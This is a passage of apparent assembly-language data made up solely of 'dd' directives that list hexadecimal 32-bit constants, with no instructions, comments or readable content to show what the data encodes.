0BA510068h, 0B361BD0Fh, 0E02674Ah, 865C5E10h dd 27A8E0C9h, 172901BCh, 0F26CF79Ch, 435D8D0h, 86799001h dd 76DC6428h, 7C68E020h, 0C5660195h, 97A61ED5h, 13B0423Ch dd 0D994C4E0h, 101A0F24h, 8AF4ACC7h, 0F53BFCF0h, 0C00845h dd 1E0EC686h, 0CB65C454h, 0C4229B01h, 8040CF04h, 0B0140C0h dd 8A6890BAh, 0D024D94Fh, 800B81Bh, 518CC627h, 72FE1600h dd 0AF4697Fh, 3FB0A9CBh, 11FB089Ch, 4DBD5D03h, 0E855A378h dd 24BAF056h, 120B7C9h, 3E45DFD6h, 8D61708Eh, 348208A2h dd 0EA034275h, 837EA099h, 0A9740224h, 9C5A2B1Ch, 0DCD61A60h dd 8AECF117h, 208E3871h, 98F8260Bh, 0DC706700h, 40C8D1E5h dd 4CF9EC33h, 0C23E0C20h, 8C6A2C0Fh, 4AB2009h, 18C81FB4h dd 4275A2Dh, 974E9318h, 7A109CD0h, 0A02BFD40h, 22633B4h dd 53619F8h, 9C4850F2h, 90005982h, 2D4E17C3h, 1FB76D2h dd 0C4EA70FCh, 0A6511204h, 2E939C28h, 8E01188Bh, 0FE0B6817h dd 783423A5h, 390244B1h, 71551305h, 0DE1B0450h, 601CA0F8h dd 12CF6740h, 15DF65Eh, 0E63B04C0h, 84A0818Eh, 15C5A3D0h dd 9BC7F8E0h, 827D00F4h, 297F5056h, 80A5F239h, 0C57B0ECBh dd 78A61AF5h, 1A896E4h dd 0FCE35E5h, 986C2033h, 77C96F04h, 4384DBDDh, 0D1800981h dd 0C1074032h, 0E1203DA2h, 30898B12h, 24FD0415h, 0E4AC3270h dd 0C4E234Bh, 10C4D537h, 0A9120301h, 0FC80492Dh, 34FB00C1h dd 0AFF2D258h, 0A810E4A3h, 0DD0BD4CEh, 300CECE6h, 7F007EE1h dd 0AAF19C9Fh, 9ED91AFh, 0E20F77CEh, 45DA4480h, 9400AEC9h dd 0E386AAE0h, 0C0476304h, 0E1255160h, 0A30E2B34h, 8013782Ch dd 0CE2F3562h, 0D27D0938h, 3880F18Bh, 0F9C4FABDh, 0F7A60C0Ch dd 7DB043h, 533B92B2h, 9AD61FC7h, 8998EA01h, 0ED4D263h dd 57BCF881h, 0E06DED70h, 2A00541Fh, 8CAA823Eh, 4A71E40h dd 0D1F66625h, 451495D8h, 8182C060h, 107E5DCh, 4820B812h dd 31675A10h, 75E353ACh, 9A1ADCDCh, 53ACCA0h, 0CEA4B24h dd 0BFB5AC0Fh, 6C161FD2h, 4119180Ch, 72B204BBh, 546DAD2h dd 0DC393B26h, 860B4466h, 8983C65h, 251D617Fh, 0DD8EA727h dd 90013378h, 3B3D126h, 1FB99C30h, 0D3EE6Dh, 0C6A9F9ADh dd 0DC31A641h, 0E51B5068h, 7213420h, 5750F2Ch, 4061ADCFh dd 68628680h, 0D2A4C604h, 240116ABh, 78569627h, 0E0E7C900h dd 30D27930h, 9FB90C88h, 0EB03FB0Dh, 1CE8AD4Ch, 0B8A9D09Ch dd 13ED7179h, 4168E1Bh, 4739F994h, 0A9A4D21Dh, 0A6293880h dd 0D83D4C71h, 2468C1D2h, 0B4AACC06h, 44B489Ch, 4882F870h dd 87787167h, 4B558705h, 721A5446h, 0A35012B7h, 124A830h dd 5A76B519h, 0A44B1F8Ah, 0C26D440h, 5D1B867h, 0EC40DC16h dd 599B0B5Ah, 6E1700ADh, 0D4C0933Eh, 190E50CEh, 83F35484h dd 0C2368D27h, 209CF806h, 2DF4CAABh, 9977F005h, 0F400DAB2h dd 55B05F06h, 0D6537805h, 57500068h, 0A6036CCAh, 0B797E20h dd 1A5D5372h, 2ED2F498h, 429CB150h, 0C3DCCC00h, 0B27ABB88h dd 97A53098h, 0E7F52DC9h, 62B48E01h, 2F6A0F2h, 0DECDC140h dd 75A6181Dh, 0AB386152h, 9A70A515h, 3B6050F4h, 0B5523090h dd 0B403EBCh, 99CFF2CCh, 247CD488h, 7B50828Eh, 7889F0B6h dd 242084CAh, 58411C80h, 0B2561868h, 7A5DE8ADh, 0D72DE707h dd 0F60483Ah, 2520C3C5h, 702BFE66h, 811E9C90h, 304EA02Eh dd 25077B00h, 0F0D8FD72h, 313D09ACh, 44E187A5h, 8A97FC35h dd 0D8C5A92Ah, 7B89BC60h, 0B35AEC5Fh, 69278464h, 0D46CF267h dd 0C68A13A2h, 30E9C8C7h, 253B25D4h, 38381F27h, 20CD4A44h dd 0E9E06880h, 0B4F8804Ch, 0B2867802h, 40600711h, 0F668F48Eh dd 0D5FD3E12h, 5AAAA100h, 627E0DBAh, 800E5C3Ah, 83D3FE54h dd 0B0462A72h, 563F884h, 0BB8A598Dh, 2610800Ch, 8B404ACh dd 4CCB414Eh, 0A4248B10h, 58E55DA6h, 6C910A7Eh, 0C0ABC7h dd 7388A51Eh, 0DCB8185Eh, 5A9CD000h, 0BD2D2AD8h, 0CA1A0058h dd 4D22621h, 4C7CFE0Ch, 2282D600h, 99F25194h, 55F40B6Ch dd 0B880DD10h, 338F200Eh, 80AACB38h, 7D733291h, 28FC8E66h dd 9808B9A9h, 93ECE1BCh, 51589612h, 2E050C8Ch, 6FD46BBAh dd 85F81904h, 58C88194h, 84283992h, 0CC140B86h, 1E9A5012h dd 0D5374990h, 0F2F05C44h, 0CA116667h, 0EC0FF38Eh, 0D8CA122Fh dd 0CCEC2D17h, 1BE0CFF4h, 0EA00387Ch, 73CA48C5h, 501D428h dd 5529225h, 0B2E8D061h, 0EC5E0D99h, 44B9F022h, 6DA61038h dd 0C4274A1Eh, 77B8E218h, 2D1294FAh, 0D00498A3h, 5600658Ch dd 75524725h, 0AE7EB2EEh, 8D37FE05h, 0E4007861h, 28EF5107h dd 68D5002Dh, 7230BB3Eh, 0ED502CD1h, 0A851F208h, 29D46114h dd 0A6220414h, 0DC93BEC4h, 0AFD4E107h, 1B384072h, 0D2980D04h dd 27A4E085h, 0EA526C98h, 0D5291494h, 0BAAD1218h, 340A8457h dd 0A5048C7Ch, 7B0035F1h, 0C132D688h, 91EA5602h, 0AB189C04h dd 2F0840A0h, 812B070Dh, 69398A5Dh, 553D7802h, 0B00918F9h dd 75AC8635h, 0A6250881h, 25BE09B6h, 50646A1Bh, 2627F000h dd 0CA742649h, 93F9EE4h, 104876CBh, 34B0EE10h, 84D08A44h dd 510E8613h, 540CC8h, 0C87E1136h, 8040B1AAh, 0A679B704h dd 94D0B8DAh, 44F7DEDh, 0BF8A1737h, 0EA5C1D72h, 0AD71F100h dd 17CB4EF3h, 45EB9DBh, 143B533Ch, 9BC800A4h, 0E40E44E9h dd 60FC753Ch, 0E6EB18D1h, 8D1CB81Ch, 6E85691Eh, 0E8D0B3EFh dd 0B98EF359h, 0EA5B8E5Ch, 0DE0104E3h, 8CAB181Fh, 39BC2E82h dd 0F88E007h, 30C6807Fh, 0B801D6F8h, 0B6AB098Eh, 0A6F175CBh dd 975C452Bh, 89C4000Bh, 81F86DFEh, 0C8A9057Fh, 2E482464h dd 0C20B08EAh, 23D0725Ch, 0F88037C0h, 0A6543C95h, 34853BE0h dd 0C77D586h, 0F04E60BAh, 0EF890C1Dh, 80C8CCB5h, 0B0EBE1D4h dd 4C55B04Ch, 0EE84B4DCh, 0CDF2008Eh, 506F0DB7h, 511AAC83h dd 419DA8A6h, 19325E58h, 71B48168h, 0D9984ACh, 60532EF0h dd 1D04A67Ch, 0EA2618C0h, 0C0D5D723h, 8AC3AD91h, 1297650Bh dd 83581A10h, 0E4AA0EE0h, 12209088h, 1EC936A6h, 81D286B0h dd 4E02183Dh, 1BE3D653h, 2028D006h, 2739C313h, 175164B6h dd 18D8E8C1h, 48489473h, 62C4D72Ch, 0CE019CCAh, 72E02C0Dh dd 3910C97Dh, 6773CC78h, 80C4D119h, 54741F30h, 0F3A61223h dd 0D65840A1h, 390441A5h, 68B98803h, 92C1AEAAh, 2F86067h dd 1244B92Fh, 0EBD88038h, 7E2904BEh, 3F00A034h, 0A61007C4h dd 0DD8C408Ah, 4C57472Ch, 94B80844h, 683E4577h, 480E979Ch dd 87412A51h, 108EAA00h, 1322B386h, 1CB190Eh, 0E3D214A3h dd 1F3C327Fh, 34C40939h, 28A8C025h, 57711801h, 437D12D3h dd 111317F0h, 7C993FB4h, 0E659060h, 0DCAAB169h, 9F3E8A22h dd 8E51D456h, 4CF0BBE1h, 0A2F9A066h, 4240C030h, 9B1277C0h dd 5EC83756h, 0B5B1400h, 999A97Bh, 0A8053774h, 8AF8A858h dd 68237737h, 90D1FF80h, 4338C471h, 49D883C4h, 545A482Ch dd 6E63A387h, 0F74E602Eh, 2F300ABDh, 0FCB0A208h, 25F3D805h dd 0BA07E8B0h, 26BCFCBCh, 0DE00A0B9h, 0D2D12E2Bh, 586E5D6Dh dd 47056005h, 0F4CC849Fh, 98E0D23Ch, 0B48810C0h, 17CCF92Ch dd 459332h, 755449BCh, 74A0516h, 0E353F080h, 767D003Dh dd 0D1FC9C1Ah, 60C054A9h, 0F0010E36h, 4C8E0725h, 4A58B12h dd 122CB310h, 7431AE53h, 0D180ACD2h, 0E26607Fh, 89070FC2h dd 20FBF054h, 41C0EB80h, 0D2DE0AD1h, 94E43303h, 7D8584CBh dd 1AC42353h, 51583000h, 90AA6AC0h, 4298010Ch, 0A9E3663Bh dd 0E0840B8h, 29D25903h, 4C9C1055h, 60819624h, 59D20828h dd 0A3A66150h, 0ED80806Ch, 553E6BD5h, 21DD02E3h, 7AEFAB0h dd 2BF1D896h, 8A605402h, 0E2A0C8E7h, 0A748B47Bh, 48A09C07h dd 6BAA509h, 1282107h, 8313752Dh, 0F0E3AE38h, 5C9232D3h dd 7C6BEF3Ah, 8CAA641Dh, 1C637183h, 0B4A9E18Eh, 70E0840h dd 5E29C06Ch, 759C3FBEh, 3AA6740Dh, 0FC7270A4h, 2444EC88h dd 8A3834F4h, 131ADCC0h, 5B8480h, 424D62F0h, 0B42A76B7h dd 48AA0724h, 90119C48h, 4D0602Eh, 0C76088Ah, 1E1B2866h dd 802F05CEh, 808407AFh, 649EA2A5h, 0AC117217h, 0FDA0120h dd 0FCCA5B42h, 50726020h, 1232E0DDh, 0AB870D2h, 18BC64h dd 2363D8Ah, 0E35BAD45h, 0DFD26804h, 4E78E4ECh, 55890CCh dd 98970A08h, 0B0B5164h, 62D283E8h, 0FF4EE0C0h, 75F4C60Eh dd 0A04F8CA6h, 173C9876h, 940466A5h, 0F49C120h, 824C6050h dd 7834084Eh, 415318B0h, 4444079h, 8816BA4Fh, 0A800BB5Bh dd 0F85A17F1h, 0ECA63FAAh, 94A93BFh, 0A47B92A4h, 0F5A5923Ch dd 1E104454h, 64268A9Bh dd 5A016307h, 0C4AEEC72h, 872F0014h, 20B29FB5h, 15248003h dd 0D603E20Ah, 882AA489h, 1F0D72h, 2CDFDC8Ah, 0AB2B8CA9h dd 3A4D523Eh, 2298C07h, 5A18C8h, 392E7BA7h, 7E417850h dd 9AD1701Fh, 71C71180h, 1FB75B5h, 36DC6A6Eh, 20A15F56h dd 0C90E69CEh, 808A5150h, 0F75B89A6h, 47F03C6h, 17C00ED9h dd 0A511ADB0h, 72022600h, 0BF5F708Eh, 741400F6h, 671064D4h dd 250EA6E9h, 0C10F5616h, 0A3A2892Dh, 0C905C087h, 6C62830Eh dd 4E211067h, 70FC8570h, 0D1AD0E8Eh, 2A8001A3h, 0A9A8C9F3h dd 1089B130h, 609CA572h, 0DADC783Ch, 0EB1F051Ch, 0A0013061h dd 0CB927FCDh, 0C959A0F3h, 0F80A1164h, 20C12072h, 3F014DABh dd 0F139D756h, 0F8EFA983h, 1C4E8CA6h, 0B061044Fh, 6A5EAF88h dd 8BA9710Fh, 6D0332F6h, 1324AA5h, 0ABE960F9h, 8376F02Bh dd 0CBF12A30h, 0EE6078A8h, 325606FEh, 20625E04h, 0B2876F00h dd 0CE14BF2Bh, 75AC0072h, 0FDDD851Bh, 0D1141564h, 58D099E8h dd 18A83C02h, 1D5856BEh, 0FE3820A5h, 80DB1A3Fh, 45847EAEh dd 18038223h, 7893E889h, 2E00262Ch, 0B3793E56h, 30046A76h dd 9F805BA3h, 0C261BF89h, 58EC9428h, 0A36691E0h, 9B9AF008h dd 8AE906F4h, 39500488h, 0CFF16414h, 0D42E006Ch, 0EB90B76h dd 44A5141Eh, 2B00BCBFh, 7A1165D5h, 0EA1F893Dh, 612C718h dd 8E41C11h, 7704D1h, 0D395B9BFh, 2C30A518h, 0FD5958A1h dd 0C2E4989h, 0F4043706h, 0F5EC801Eh, 9DECD20h, 3676853Fh dd 66C1422h, 20A51900h, 2C48C062h, 0F37F97C9h, 0A4F15803h dd 0C819B167h, 7275D0EBh, 0A44754A5h, 9CB0DAh, 64C17EFAh dd 0BF7161EFh, 0B3A97609h, 0B38228Fh, 9B1C40B1h, 90018422h dd 11BF330Dh, 208A0699h, 4490C9F1h, 55588477h, 6F83AC20h dd 0DEC0A8E7h, 0E25023A4h, 0DF39199Ch, 3061B089h, 30D1058Dh dd 1A404E17h, 5A001E8Eh, 0D5ECE2C6h, 108CE77h, 0AEC9F232h dd 0E8359312h, 0AC48FED1h, 0C3F7001Ch, 0A4A2BF3Bh, 902E606Bh dd 0F15E3F12h, 18628A06h, 4481A97Dh, 54901163h, 48043608h dd 8966020Ch, 9C48A965h, 4D0761ECh, 462F9C1Ch, 29B63h dd 2045C04Eh, 0AA2988BCh, 72573F0Eh, 7812B2Dh, 67C2B06Ch dd 37586038h, 70DD984Fh, 0D82C60D1h, 0ABC981EBh, 7E89B609h dd 1BA01052h, 44EC030Dh, 0A9906321h, 9A7E84F8h, 0F48D3205h dd 803B1A8h, 2445040Dh, 1FD4B329h, 8892CC7Dh, 41B8EB9h dd 0F85861C0h, 0C4826D89h, 88B90718h, 1D205248h, 71E93C47h dd 8801BCD1h, 6CBCF2C7h, 80303424h, 0CCEBB887h, 0EF0C9B77h dd 184612D0h, 8ABC03C2h, 3DDC895Ah, 533C6015h, 29AD00BCh dd 68A96A06h, 1CD72489h, 0EC0C0688h, 0D118212Dh, 71481108h dd 40C898B8h, 560C1E66h, 28486BA5h, 0C1D0A326h, 1080FF7Ch dd 0FC43CBC0h, 0A1360BFh, 8C44A6A4h, 2C055AA2h, 89A820EEh dd 1CB26DB1h, 9D990607h, 2AA9194Fh, 4062CC5Ch, 5C849826h dd 9BB03089h, 0C7156D38h, 6A463Bh, 7DAAE95Fh, 0CC486ED1h dd 75826F30h, 0DE8578C1h, 0B1F18DFBh, 41F73C34h, 22EC610Ch dd 0EB0D14E0h, 66608F80h, 2918CC29h, 8F9C523Bh, 1D73327Ah dd 0D32D0064h, 9CAAA54Fh, 1640AC9Ah, 81347585h, 4A086B1h dd 180EF79h, 0E3DB235Ch, 804541D0h, 6B847578h, 38D0516h dd 4C7014E5h, 9E03DC1h, 7F843B6h, 8979D490h, 0D4A9DB68h dd 4CC35D64h, 1A190236h, 0A7A11C2Ch, 0D1067660h, 7B85009Bh dd 4C198B1h, 41306B9Ch, 8F8B00E9h, 0D152EB2Ch, 7105C4F4h dd 90A975B4h, 600B8C22h, 90051E94h, 94BC0050h, 3D2EECF2h dd 4A601004h, 0A6B15088h, 760AE8A8h, 1E9F0DAh, 185AC951h dd 0D03DDB26h, 6A788B36h, 9727891Fh, 61EA0507h, 50168DC0h dd 72C711Fh, 8B12BBD3h, 30D8C75Ch, 0EE98978h, 0DB005090h dd 34B0FA4Bh, 0E10F8304h, 2414F8C3h, 0F2F51CE9h, 0F02847FFh dd 0A3E8375Ah, 24174CFDh, 8606835Dh, 0EC2C1C89h, 8119C05Eh dd 3DAB0EF7h, 0FE7E087Fh, 48C0DAECh, 7C21BF57h, 0C11C001Bh dd 0C78107EFh, 68092BB4h, 0FFA8975h, 4A8D0D39h, 32CD8C0h dd 0B15153FDh, 6FE85043h, 0E918E788h, 8B226690h, 0D3D8E324h dd 0FA9CEA3Ch, 1A0A60C9h, 33B3EA81h, 68259D06h, 40DB0DD8h dd 95602B0Ch, 0D3EB8010h, 53593D66h, 0A8F57099h, 0E31CD958h dd 317C0C60h, 0C38BC888h, 4C4813Ch, 0C108A103h, 69B5E9h dd 6841EB73h, 0C3014414h, 88CCAF1h, 711EE10Ch, 54C4E30h dd 803C8F16h, 6CD8DCDFh, 0CA6B6887h, 4F36581Eh, 0B2D2086h dd 9DD56431h, 0AB40E189h, 38AA6AD1h, 18506845h, 994964CEh dd 442680C2h, 0D00029B2h, 5D8015Ah, 75A62EA2h, 60970047h dd 51557A25h, 4301D368h, 0E9592458h, 44831F3Eh, 207F83ADh dd 7840F80h, 0C65B3C60h, 76D739AAh, 56EC5008h, 0D889EB89h dd 28184122h, 432A6853h, 5415117Bh, 12710558h, 1420E4E0h dd 1FD02331h, 4CDFF763h, 0B8240519h, 0B955D100h, 0AA33BD68h dd 1970346h, 2941E9C5h, 99352200h, 2D38B15Bh, 7AB0EA67h dd 52830739h, 0B0487195h, 0F4D079D2h, 0AFE9D2A0h, 52381260h dd 0EC09CB2h, 0D2F605EAh, 8003E2A3h, 0D7882BC0h, 0BF045A03h dd 0A02CF828h, 34E95B66h, 5FB0F150h, 0CB02D8E4h, 34F8FB29h dd 0E2AC5FF4h, 24963348h, 0D8889931h, 0CF810006h, 0F5B2071h dd 31048890h, 4F50A343h, 5E0BA580h, 0E9B70929h, 5A203858h dd 0C6FE2DEEh, 86526600h, 0F601244Ch, 0E306A3D1h, 8826505Ah dd 0C18A44C8h, 890688D1h, 0DB892387h, 8BCC12EFh, 173712Ch dd 500630D3h, 900D0EC0h, 0F4053E14h, 0E73D54B7h, 8A88A0DFh dd 0F89181D5h, 0F5A66EDDh, 0DE579EA9h, 0DB92DF40h, 0C58128C0h dd 1E6F5C5Fh, 14D5017Bh, 0AC5108EDh, 0BCA508EAh, 36F06E19h dd 334C9A31h, 68004806h, 6F266D61h, 0A9E5CDBEh, 58C2D5Ch dd 1D660A7Ch, 373E5E68h, 0D3BED399h, 0BD55561Dh, 4D021D80h dd 1D77E581h, 0CE19CE7Ch, 5F395BE9h, 5FFDC8CFh, 0DDF7590Fh dd 92A8CE57h, 46B9C640h, 6F272515h, 69CA72C1h, 0E8218AF1h dd 0C20958ACh, 52E2D100h, 0D819C3BAh, 30AA9978h, 5B61B9DCh dd 50CE2AEEh, 0E70A4506h, 55C79C47h, 586F8300h, 0C0B6280Fh dd 0C3874993h, 0BE009CD0h, 10C81170h, 0FF0DEE83h, 206731E9h dd 209278D3h, 1E905489h, 2F9E4309h, 2924995Ah, 9E7DE21h dd 741853E0h, 33C96780h, 550F163Fh, 2005E1C1h, 364CF6E9h dd 0F7513475h, 22208134h, 0E9000508h, 171077DCh, 0D6EF0081h dd 0E931875Eh, 0EBAAFA75h, 1AF0F322h, 89C4ED6Bh, 6BF0A019h dd 870C8362h, 5BFF913Ch, 1001AF31h, 0C422BE56h, 5EF30109h dd 0D04BB33h, 342E95Ch, 882D0990h, 56339247h, 987ED15Ah dd 0B6E91995h, 595C1015h, 99C2F3B0h, 0EE01D564h, 4FCD1A34h dd 0EA47C601h, 12253190h, 8EA03C1h, 81DCE951h, 68503005h dd 0D35B2376h, 6447F1C4h, 3C7134h, 5336A56h, 53667429h dd 2EAD9FA0h, 99316B38h, 0F74C5FF8h, 5D529C47h, 83A1A9D2h dd 0FAD001A0h, 2C16C80Ch, 0AC079809h, 53D4FE2Ch, 3178B235h dd 5A101C32h, 0D6C1CB55h, 0BE0F0047h, 895012C8h, 902D74E0h dd 0D0346E78h, 63EE5B60h, 906ACB41h, 13F52614h, 20B28C0h dd 1187B1A7h, 940CA01h, 0AECBD655h, 3298004Bh, 0E5E4313Dh dd 68BBB442h, 62F82142h, 5452648Bh, 23C2CA84h, 330C2483h dd 45311731h, 4045DB54h dd 0E67C3A9Eh, 4372933Fh, 0F46135FAh, 8BD82952h, 0D883FE42h dd 5D001F1h, 34D43743h, 0F854C1C7h, 25B02B49h, 0F10501E9h dd 0C040B92Ch, 15531CFFh, 0AEBBC177h, 205D3042h, 6401D236h dd 0D6F73732h, 6A71E6C1h, 1291D020h, 1F315250h, 18EB1B41h dd 340FF9Bh, 918BC2h, 0B88C56B4h, 0BDFF55Ch, 31C6E9B1h dd 831BB712h, 0E0870C28h, 0C8325C59h, 6192240Ch, 36C3305Ch dd 84A94813h, 0FACDD467h, 65BE8D10h, 79020A06h, 420DEE29h dd 1948F021h, 0E9245456h, 5F8FD502h, 0C727F28Fh, 21FC4C3h dd 2780C7B1h, 404B51FCh, 8175CDF1h, 22EEEB1Dh, 39EC344Bh dd 3116D25Ch, 2D0F3CBh, 5682878Ah, 9260E6C5h, 0D00C78E9h dd 9927E4Ah, 4F800346h, 28DB095Fh, 0ECE94112h, 0D9019544h dd 6370F3C0h, 293424C2h, 0F9B3229Eh, 6901A62h, 1683878Ah dd 2A965D5Ch, 8A5949A0h, 8C0248DAh, 6095DDEh, 1FC98F33h dd 8919ED80h, 19A83E2Bh, 0B998BCAAh, 6EDBD20h, 97F58103h dd 34A4603h, 0B35F2982h, 9E00D123h, 543BC8EDh, 38B850DFh dd 600146EEh, 6F30905h, 8D2B20A0h, 48516680h, 9E1A34B5h dd 924CD060h, 87490684h, 77A1033h, 0EB285A04h, 62D68166h dd 0F3318083h, 5E3D04BAh, 34D97D89h, 11A251Eh, 8C0CE4A8h dd 9BF7D968h, 0D0C65D4Ch, 30C2A4EDh, 0CB12EB01h, 0F8300806h dd 56954E11h, 0A03F589Ch, 86DC242Eh, 0F80E2648h, 79E1EB09h dd 0B89A86D9h, 23BD00C1h, 0C1026A37h, 831407E5h, 69201C5h dd 0C8C71CAh, 0B36010Ch, 7FE9502Fh, 0C1BD41F3h, 0CF0A20E7h dd 9E5DD909h, 0EC578314h, 0E055BB36h, 301BBFE2h, 0DA0C67FFh dd 7C09194Ch, 0A2AEE94Ah, 428B662Bh, 82AE654Bh, 56505E54h dd 492627C1h, 0E6285716h, 483B6E57h, 0C126051Bh, 88303E2h dd 0F8621107h, 0CD3122Ch, 0BC7360C3h, 0F4516C8Ah, 0AB40B049h dd 134D3D12h, 22CF012Dh, 0EA022CEDh, 4244924Ah, 0AB64508Eh dd 2E077B5Ah, 407BEE51h, 576C3DE6h, 0DFDDBA0h, 0C04E230h dd 0FBE364B8h, 74163600h, 356A0C5Ch, 0FA543AE0h, 91FE1872h dd 0F32BB74h, 4B25F348h, 7629C06Bh, 3A43CFBAh, 126A5EE5h dd 68FE422Fh, 17594B52h, 3FE0BA01h, 984271B6h, 868D8402h dd 16A805Dh, 0CD29DD59h, 740D6E9h, 83A23302h, 0D656CCBh dd 0F1CC63A0h, 0E30431AAh, 602DEA0h, 6836FC9h, 9CAF5BCFh dd 84CE6958h, 9F152E38h, 4ECEEC1h, 6324B700h, 4983E932h dd 48054D77h, 0C72B8E37h, 1064C368h, 925E1829h, 9657290Eh dd 96E0C336h, 0B8026B9Fh, 0BE710E8Eh, 14EB8C88h, 0C20E65Ch dd 0DC19262Ch, 270F6C69h, 1B207D3Ch, 0FD069AEAh, 4CBB2B58h dd 5908409Fh, 0A41FA2D7h, 0C42CDA98h, 16F93E05h, 0FB8D9098h dd 401E9DEBh, 80CC57CFh, 3511652h, 9C3FB768h, 0D2D75908h dd 2266350Bh, 0F0215C35h, 21256309h, 0C8FE5B3Bh, 0A861CAE0h dd 0C4240FF3h, 20C7DB3h, 4C5BDE01h, 508E9272h, 4EEC2729h dd 2CCC44CDh, 77071EF3h, 11A59D1Ch, 0AED81408h, 685C020Fh dd 2A4C6086h, 0DD170F00h, 16872D0Ah, 297716F3h, 92D00D0h dd 0E970385Ch, 0F6F0522h, 0CB64D4F2h, 75D70492h, 40E3B26Bh dd 9C8989CCh, 8C5E799Dh, 592670B1h, 29C2C5A1h, 0EC872A46h dd 7FFA7B49h, 795E0148h, 0A57C8E33h, 6579B9CEh, 0C1C97F85h dd 0BEFB1D60h, 32187801h, 25CA3133h, 5CC6408h, 1C607D94h dd 0BA266948h, 0C6EE4047h, 4CD29505h, 0E18901FEh, 987B112h dd 9474404h, 2572E554h, 0ABE91698h, 0F1175D60h, 1F852CACh dd 78CB2915h, 881C4E49h, 5BF989D7h, 5370A94Ah, 83612484h dd 0E8B7E90Ch, 0ED879C47h, 2FC355E4h, 0C261038Eh, 625E529Eh dd 54E831DAh, 64B86664h, 0AC024Ch, 0B951E289h, 12A64FB0h dd 0E1D161h, 377028F2h, 0F0B00118h, 9C9CA4E4h, 71752C30h dd 0A9655045h, 310B3B66h, 0BCD0912h, 9D197B7Eh, 4E94E40Dh dd 15F0F8A6h, 8B141AB4h, 0A98D50E5h, 38575941h, 6C526182h dd 360E9ABFh, 0F6E7CD60h, 133E22B1h, 70884C34h, 5A0E9C5Eh dd 524C8051h, 31625A74h, 936C6520h, 51005D10h, 1C133BDDh dd 0DBF72681h, 82081D4Bh, 302C3CEEh, 21FE7941h, 5F08000Bh dd 0E44F46E9h, 3A646524h, 36330623h, 0D063122h, 0C0095C01h dd 4862840Fh, 0C1CED3A8h, 216859D9h, 94BF6820h, 24009433h dd 3CA7967Ah, 315C0A4Fh, 86BD66C3h, 0AECFD9E9h, 86CD8102h dd 0C01A1055h, 603AF6FFh, 36ED424Ah, 4B49F880h, 71F84003h dd 6B650906h, 8264F929h, 689C8008h, 3D752839h, 62D036E9h dd 60E8F02Ch, 13051087h, 68F6FA7Fh, 74322D5Ah, 9BF78A5Eh dd 0E0F029E3h, 9E7C6568h, 6054B4Ch, 0D51E0110h, 2453E95Ah dd 0DE00F73Ch, 0C9AF681h, 95532B4h, 0E83B1A68h, 0D48E1605h dd 4885A346h, 0EEB17FCDh, 37F4FFA0h, 6AB22E49h, 2CB1988Eh dd 1D05F77Fh, 1E7416C8h, 4292C977h, 1AEAC2A5h, 0BDC13B23h dd 6CB353CBh, 7DA32E04h, 50B4449Ah, 0AF414DE9h, 1C545113h dd 3980D165h, 58C718D8h, 0CD059A92h, 245308B1h, 534C5C86h dd 67084DE8h, 0F84C02ABh, 4306963Fh, 0FD02213Ch, 2FE4EBC1h dd 4801E269h, 592858ADh, 893ADC3h, 801F0A2Dh, 2952F058h dd 211A8378h, 5288CED2h, 0CABC3259h, 0A30A0499h, 8F27E204h dd 88954AC1h, 0C7B14003h, 0E50CAC2Ah, 29010613h, 1921271Ah dd 5959CAC8h, 0DC00AAF7h, 2DC16B70h, 4A0535F4h, 7D8DE908h dd 6A427DCDh, 456942D0h, 95EC10B8h, 0C4F4C98h, 465F0884h dd 2680B210h, 0BD3FE768h, 15F8DA18h, 84B4758Eh, 0A5652D0h dd 0A91DB568h, 14CE0CBEh, 81AA3B43h, 5C4EE652h, 55581530h dd 12F9A54h, 7AFA5A9Eh, 23942EE9h, 0FA104E83h, 14502CF9h dd 84C16514h, 40F659B4h, 0FDD133Bh, 9D10994Ch, 0BF0F0112h dd 5D3A68C8h, 0EDC4D678h, 0C14490C9h, 5298594Fh, 365DF4F6h dd 79294BB3h, 0CC540B79h, 61544A53h, 0F6EB8343h, 0BB5B7D5Ah dd 0F8014700h, 2460AA05h, 260B0E0Ah, 0CB888E46h, 0DA83D14Eh dd 53905B66h, 751CB652h, 0F30625B3h, 121D085Ah, 81BC280h dd 1092B7Ah, 84A2C2EBh, 4D02731Eh, 0BA63EA87h, 6872D8DCh dd 0B419932Ch, 0B3000E44h, 0FED3F601h, 0AD5AC37Bh, 0C8BBDD00h dd 0B839F157h, 6AAB00D5h, 0B8503B07h, 99012FC2h, 355D2505h dd 89605913h, 0FEDE447h, 2FD72DCCh, 0E82976A0h, 619442E9h dd 0F121873Ch, 0AA0C15Eh, 9C71BA68h, 16494F6Ah, 990BA142h dd 1929BA44h, 971A1350h, 0AC2E609Fh, 57E51229h, 26921658h dd 80051A82h, 167E374h, 582E77C2h, 0AD680344h, 5EFBEAAEh dd 2DEAF5EBh, 12B2A6C8h, 4AB35302h, 61CAEB80h, 4F833365h dd 29E338EFh, 5AA709D5h, 11687C98h, 0CC4F4B48h, 0E01B64B8h dd 58C63D31h, 0D3E9F084h, 6D5C0A26h, 0CAFD0A49h, 6FE63830h dd 3207B846h, 57AAE2C4h, 93DF2461h, 260AFE06h, 0EE98F58Dh dd 507D88E0h, 9033B308h, 3B6CB49Eh, 286F224Ah, 80205852h dd 9B5DEC8h, 452DDE07h, 0D302FFE8h, 675E3EBAh, 73B96139h dd 3E0C100h, 6C68531Ch, 0B5CA19ADh, 0F02E32E4h, 105F48FBh dd 0B58167Dh, 8566C216h, 0CC62FAA9h, 738DE980h, 0F7051827h dd 4433E9D7h, 200AF5Eh, 0C1656159h, 140573E7h, 0BC4F03EFh dd 347EF906h, 30130C25h, 90A5665h, 8B90BACCh, 0DEC2D769h dd 83A65E79h, 37000621h, 2923D478h, 555A5CD6h, 0A062AC06h dd 52171275h, 0B4D4E0E9h dd 797EC4B7h, 0C3B1C784h, 63B1217Ch, 0DE769C52h, 96CAF292h dd 7784BD4Ch, 0EED1056Ch, 484BBF97h, 676368D0h, 0EAC26348h dd 67966BD3h, 65A6E940h, 8C551084h, 0F412AB0h, 81C95D3Ch dd 0DFB22CABh, 671AD480h, 0C11A063Bh, 0A0F802E5h, 2FC70501h dd 2C7E5C03h, 0EA072D28h, 7D24002Ah, 36055E33h, 0EE90F323h dd 7A2D87Dh, 5FE56FC0h, 0E938470Bh, 6C12A1Dh, 68583526h dd 0DB51097Fh, 6855955h, 4FD2C303h, 2062224Eh, 17A5680h dd 0A151B668h, 6487E974h, 2EB05AABh, 2538F55Dh, 40251E5Fh dd 10A5C87h, 0D31C8BDDh, 7EDC1E1h, 0D1A99BE7h, 6E716618h dd 0F6248569h, 28182C49h, 80AB0F2Dh, 662151DDh, 46031008h dd 0F74D8694h, 51335AA9h, 